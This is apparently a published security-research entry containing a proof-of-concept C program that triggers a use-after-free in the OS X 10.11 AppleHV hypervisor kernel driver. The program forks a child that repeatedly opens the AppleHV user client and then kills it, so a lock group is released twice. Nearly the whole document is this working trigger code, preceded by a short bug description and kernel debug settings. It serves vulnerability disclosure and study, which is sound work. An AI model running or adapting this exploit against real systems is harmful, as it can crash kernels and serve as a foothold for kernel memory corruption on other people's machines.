OS X Kernel - Hypervisor Driver Use-After-Free

/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=580
 
The hv_space lock group gets an extra ref dropped when you kill a process with an AppleHV userclient;
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
pointer taken from _hv.
 
tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
*/
 
//ianbeer
 
// boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -zp -zc
 
/*
OS X Kernel UaF in hypervisor driver
 
The hv_space lock group gets an extra ref dropped (uaf) when you kill a process with an AppleHV userclient;
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
pointer taken from _hv.
 
tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
 
int go() {
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleHV"));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }
 
  while(1) {
    io_connect_t conn;
    IOServiceOpen(service, mach_task_self(), 0, &conn);
    if (conn == MACH_PORT_NULL) {
      printf("can't connect to service\n");
      return 0;
    }
 
    uint64_t inputScalar[16];
    size_t inputScalarCnt = 0;
 
    uint8_t inputStruct[4096];
    size_t inputStructCnt = 0;
 
    uint64_t outputScalar[16] = {0};
    uint32_t outputScalarCnt = 16;
 
    char outputStruct[4096] = {0};
    size_t outputStructCnt = 4096;
 
    kern_return_t err = IOConnectCallMethod(
      conn,
      1,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
 
    IOServiceClose(conn);
  }
}
 
 
int main(int argc, char** argv) {
  pid_t child = fork();
  if (child == 0) {
    go();
  } else {
    sleep(1);
    kill(child, 9);
    int sl;
    wait(&sl);
  }
  return 0;
}